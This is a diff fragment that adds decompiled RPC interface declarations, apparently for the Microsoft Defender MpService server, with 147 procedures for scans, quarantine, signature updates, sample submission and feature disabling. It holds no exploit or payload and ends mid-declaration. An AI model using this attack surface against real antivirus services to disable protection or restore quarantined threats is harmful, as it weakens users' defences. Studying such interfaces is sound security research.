/* [switch_type] */ union union_4688 + { + /* [case()][unique] */ struct Struct_4704_t *unionMember_1; + } union_4688; + +typedef struct Struct_4704_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + long StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + long StructMember4; + long StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + long StructMember7; + } Struct_4704_t; + +typedef struct Struct_4734_t + { + long StructMember0; + /* [switch_is] */ union union_4688 StructMember1; + } Struct_4734_t; + +typedef struct Struct_4778_t + { + long StructMember0; + /* [size_is][unique] */ unsigned char *StructMember1; + } Struct_4778_t; + +typedef struct Struct_4838_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + /* [size_is][unique] */ struct Struct_4778_t **StructMember6; + /* [size_is][unique] */ struct Struct_4778_t **StructMember7; + } Struct_4838_t; + +typedef struct Struct_4886_t + { + long StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ struct Struct_4838_t **StructMember3; + } Struct_4886_t; + +typedef struct Struct_4918_t + { + long StructMember0; + struct Struct_16_t StructMember1; + long StructMember2; + unsigned char StructMember3[ 16 ]; + long StructMember4; + unsigned char StructMember5; + short StructMember6; + short StructMember7; + short StructMember8; + short StructMember9; + } Struct_4918_t; + +long Proc0_ServerMpEnableFeature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc1_ServerMpDisableFeature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc2_ServerMpQueryStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_144_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc3_ServerMpEventOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ struct Struct_16_t *arg_5, + /* [context_handle][out] */ void **arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc4_ServerMpEventClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc5_ServerMpEventQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc6_ServerMpOnDemandStartScan( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][unique][in] */ struct Struct_476_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ struct Struct_16_t *arg_7, + /* [context_handle][out] */ void **arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc7_ServerMpOnDemandQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc8_ServerMpOnDemandQueryScanResult( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_78_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc9_ServerMpOnDemandControlScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc10_ServerMpOnDemandControlSystemScan( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc11_ServerMpOnDemandPersistScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc12_ServerMpOnDemandCloseScan( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc13_ServerMpOnDemandThreatOpen( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc14_ServerMpOnDemandThreatEnum( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc15_ServerMpOnDemandThreatClose( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc16_ServerMpScanOpenThreatHistory( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc17_ServerMpScanEnumerateThreatHistory( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc18_ServerMpScanEnumerateDetectionHistory( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1382_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc19_ServerMpScanCloseThreatHistory( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc20_ServerMpScanDeleteThreatHistory( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc21_ServerMpRpcCleanOpen( + /* [in] */ long arg_1, + /* [unique][in] */ struct Struct_1434_t *arg_2, + /* [in] */ long arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc22_ServerMpRpcScanCleanOpen( + /* [context_handle][in] */ void *arg_0, + /* [unique][in] */ struct Struct_1434_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc23_ServerMpRpcCleanStart( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc24_ServerMpRpcCleanControl( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc25_ServerMpRpcCleanThreatsNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc26_ServerMpRpcPrecheckStart( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc27_ServerMpRpcPrecheckNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc28_ServerMpRpcCleanQuery( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc29_ServerMpRpcCleanClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc30_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc31_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc32_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc33_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc34_ServerMpQuarantineEnumOpen( + /* [in] */ long arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc35_ServerMpQuarantineEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc36_ServerMpQuarantineEnumClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc37_ServerMpQuarantineQueryInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [ref][out] */ struct Struct_1232_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc38_ServerMpQuarantineRestoreThreat( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ struct Struct_16_t *arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc39_ServerMpQuarantineDeleteThreat( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc40_ServerMpStateEnumOpen( + /* [context_handle][out] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc41_ServerMpQueryEngineVersion( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_1536_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc42_ServerMpUpdateEngineSignature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc43_ServerMpRollbackEngineSignature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc44_ServerMpThreatStaticInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [ref][out] */ struct Struct_1232_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc45_ServerMpQuerySystemInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ unsigned char *arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ unsigned char **arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc46_ServerMpRpcConfigSetValue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][in] */ unsigned char *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc47_ServerMpRpcConfigDelValue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc48_ServerMpRpcElevationHandleOpen( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc49_ServerMpRpcElevationHandleAttach( + /* [in] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc50_ServerMpRpcElevationHandleClose( + /* [in] */ long arg_1, + /* [context_handle][out][in] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc51_ServerMpRpcElevateCleanHandle( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][in] */ void *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc52_ServerMpRpcSignatureThreatOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc53_ServerMpRpcSignatureThreatEnum( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_1232_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc54_ServerMpRpcSignatureThreatClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc55_ServerMpRpcGetSampleInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [ref][out] */ struct Struct_1740_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc56_ServerMpRpcQueryScansWithSamples( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ struct Struct_16_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc57_ServerMpRpcDropScansWithSamples( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ struct Struct_16_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc58_ServerMpRpcSpynetQueueCreate( + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_16_t *arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc59_ServerMpRpcSpynetQueueQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc60_ServerMpRpcSpynetQueueClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc61_ServerMpRpcSpynetGenerateReport( + /* [context_handle][in] */ void *arg_0, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ long *arg_3, + /* [out] */ struct Struct_110_t *arg_4, + /* [out] */ struct Struct_16_t *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc62_ServerMpRpcSenseGenerateReport( + /* [context_handle][in] */ void *arg_0, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc63_ServerMpRpcSpynetOnResponse( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_1872_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [in] */ long arg_4, + /* [out] */ long *arg_5, + /* [size_is][size_is][ref][out] */ unsigned char **arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc64_ServerMpRpcSpynetGetStartTime( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_28_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc65_ServerMpRpcSpynetUpdateSpynetMetrics( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_1920_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc66_ServerMpRpcSpynetClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc67_ServerMpRpcSigUpdServiceOpen( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc68_ServerMpRpcSigUpdServiceQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1978_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc69_ServerMpRpcSigUpdServiceSendProgressNotification( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_970_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc70_ServerMpRpcSigUpdServiceClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc71_ServerMpRpcSigUpdClientOpen( + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc72_ServerMpRpcSigUpdClientQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc73_ServerMpRpcSigUpdClientClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc74_ServerMpRpcSigUpdControl( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_1978_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc75_ServerMpRpcIdleNotificationOpen( + /* [string][in] */ wchar_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc76_ServerMpRpcIdleNotificationClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc77_ServerMpRpcNotifyIdle( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc78_ServerMpRpcIdleCheckTaskCompletion( + /* [context_handle][in] */ void *arg_0, + /* [out] */ error_status_t *arg_1); + +long Proc79_ServerMpRpcThreatOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc80_ServerMpRpcThreatEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc81_ServerMpRpcThreatClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc82_ServerMpRpcDbgThreatViewAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc83_ServerMpRpcForcedReboot( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc84_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc85_ServerMpRpcAddFastPathSignatureFile( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [ref][out] */ struct Struct_2070_t **arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc86_ServerMpRpcRemoveFastPathSignatureFile( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc87_ServerMpRpcDynamicSignatureOpen( + /* [in] */ long arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc88_ServerMpRpcDynamicSignatureEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_2070_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc89_ServerMpRpcDynamicSignatureClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc90_MpService__CMpMapsLatencyDataIterator__Clone( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc91_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc92_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][in] */ void *arg_0, + /* [out] */ error_status_t *arg_1); + +long Proc93_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc94_ServerMpRpcMemoryScanStart( + /* [in] */ struct Struct_126_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ struct Struct_2516_t *arg_3, + /* [out] */ struct Struct_16_t *arg_4, + /* [context_handle][out] */ void **arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc95_ServerMpRpcMemoryScanQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc96_ServerMpRpcMemoryScanClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc97_ServerMpRpcFastMemoryScanOpen( + /* [in] */ struct Struct_126_t *arg_1, + /* [out] */ struct Struct_2558_t *arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc98_ServerMpRpcFastMemoryScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [in] */ struct Struct_2442_t *arg_2, + /* [out] */ struct Struct_110_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc99_ServerMpRpcFastMemoryScanClose( + /* [context_handle][out][in] */ void **arg_0, + /* [out] */ error_status_t *arg_1); + +long Proc100_ServerMpRpcFastMemoryScanCacheInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_2558_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc101_ServerMpRpcAmsiCloseSession( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc102_ServerMpRpcTcgLogScan( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [out] */ long *arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ unsigned char **arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc103_ServerMpRpcTcgLogApplyExtResult( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc104_ServerMpRpcDbgSendCallbackNotification( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_970_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc105_ServerMpRpcThreatRollup( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_2640_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc106_ServerMpDetectionQuery( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_16_t *arg_1, + /* [ref][out] */ struct Struct_1232_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc107_ServerMpRpcRequestSnooze( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc108_ServerMpRpcOfflineScanInstall( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc109_ServerMpRpcOfflineScanStatusQuery( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_2680_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc111_ServerMpRpcTriggerHeartbeatOnUninstall( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc112_ServerMpRpcTriggerErrorHeartbeatReport( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [string][in] */ wchar_t *arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc113_ServerMpRpcTriggerHeartbeatReport( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_1872_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc114_ServerMpRpcRemapCallistoDetections( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ wchar_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc115_ServerMpRpcGetCallistoDetections( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_1232_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc116_ServerMpRpcIsAdlFallbackDue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc117_ServerMpRpcIsRtpAutoEnable( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ long *arg_2, + /* [out] */ long *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc118_ServerMpRpcEngineQueryConfigDword( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc119_ServerMpRpcSampleHeaderQueueCreate( + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_16_t *arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc120_ServerMpRpcSampleHeaderQueueQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc121_ServerMpRpcSampleHeaderQueueClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc122_ServerMpRpcSampleHeaderClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc123_ServerMpRpcSampleHeaderGetSampleDetails( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_2798_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc124_ServerMpRpcGetSampleChunk( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ unsigned char **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc125_ServerMpRpcConveySampleSubmissionResult( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_2854_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc126_ServerMpRpcGetSampleListRequiringConsent( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_2900_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc127_ServerMpRpcConveyUserChoiceForSampleList( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_2900_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc128_ServerMpRpcGetRunningMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc129_ServerMpRpcIsGivenRunningModeSupported( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc130_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc131_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc132_ServerMpXBGMUpdateIV( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ unsigned char *arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_3040_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3040_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc135_ServerMpOnDemandStartScan2( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][unique][in] */ struct Struct_476_t *arg_5, + /* [in] */ long arg_6, + /* [in] */ long arg_7, + /* [out] */ struct Struct_16_t *arg_8, + /* [context_handle][out] */ void **arg_9, + /* [out] */ error_status_t *arg_10); + +long Proc136_ServerMpQueryDefaultFolderGuardList( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_16_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc137_ServerMpRpcTriggerStatusRefreshNotification( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc138_ServerMpRpcGetHIPSRuleInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_3108_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc139_ServerMpEnableSmartLocker( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc140_ServerMpDisableSmartLocker( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc141_ServerMpXBGMUpdateIV( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][in] */ unsigned char *arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc142_ServerMpFlushLowfiCache( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc143_ServerMpRpcGetAsrBlockedProcesses( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ long *arg_3, + /* [size_is][size_is][ref][out] */ struct Struct_3166_t ***arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc144_ServerMpRpcGetAsrBlockedActions( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ struct Struct_3220_t ***arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc145_ServerMpRpcDeleteAsrHistory( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc146_ServerMpGetTaskSchedulerStrings( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ 